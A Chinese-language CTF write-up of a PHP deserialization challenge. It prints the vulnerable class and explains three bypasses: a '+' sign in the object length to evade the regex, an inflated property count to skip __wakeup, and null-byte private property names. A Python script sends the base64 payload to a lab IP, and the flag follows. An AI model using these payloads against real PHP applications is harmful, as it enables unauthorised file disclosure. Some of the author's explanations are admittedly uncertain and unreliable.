天命:這條反序列化題目也是比較特別,里面的漏洞知識點,在現在的php都被修復了
天命:而且這次反序列化的字符串數量跟其他題目不一樣
<?php
class Demo { // 初始化給變量內容,也就是當前文件,高亮顯示出來private $file = 'index.php';// 初始化觸發函數:把我們輸入的東西放入屬性變量里,就是我們反序列化的時候輸入的東西public function __construct($file) { $this->file = $file; }// 銷毀時候觸發,相當于是打印flag文件出來function __destruct() { echo @highlight_file($this->file, true); }// 這個方法不會觸發,估計是舊版本的php,滿足某些情況所以沒有觸發// 純碎用來嚇人,我還研究了一晚上如何讓 fl4g.php == index.php// fl4g.php == index.php,就算是弱比較也是不可能相等的function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php // 直接訪問是空氣$this->file = 'index.php'; } }
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); // 即是重點,也是難點,更是無用的點// 現在版本的php都已經修復了if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); }
} else { highlight_file("index.php");
}
?>
坑點:__wakeup函數可以忽略,根本不會觸發,
麻痹研究了我一晚上如何才能讓? fl4g.php == index.php?
最后結論:就算是弱比較,也不可能相等,沒有其他辦法
所以只需要繞過正則表達式即可,不會正則表達式自己去學習
既不簡單,也不難,我也學了幾天才算比較掌握
?
【繞過點一】繞過正則,在O:4: 改成 O:+4: 就可以了
多一個+號(具體原理也不清楚,反正當是刷經驗了,上古版本的php才有的漏洞)
【繞過點二】繞過 __wakeup函數,把反序列化中的內容數量,從1改成2即可
至少很大概率是這樣繞過,看別人wp講的
大概意思應該是當反序列化的? 屬性變量數? 大于? 當前類的屬性變量數 的時候,就什么安全性因素,就不觸發
【繞過點三】加上\00
變量名:Demofile 變成? \00Demo\00, 字符個數+2就行:s:10:"\00Demo\00file"
這里可能是因為 private 的原因,所以是+2
其他題目是protected,就是+3
也不確定是不是肯定,做的反序列化題目還不夠多
【最終改變】
O:4:"Demo":1:{s:10:"Demofile";s:3:"aaa";}
O:+4:"Demo":2:{s:10:"\00Demo\00file";s:8:"fl4g.php";}
寫上測試腳本
import requests,base64# 兩個payload都可以
str = 'O:+4:"Demo":2:{s:10:"\x00Demo\x00file";s:8:"fl4g.php";}'
str = 'O:+4:"Demo":2:{s:10:"\00Demo\00file";s:8:"fl4g.php";}'# 編碼
base64_str = base64.b64encode(str.encode('utf-8')).decode('utf-8')# 發送請求
res = requests.get('http://61.147.171.105:56675?var='+base64_str)
if "flag" in res.text:print("成功了")
base64:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}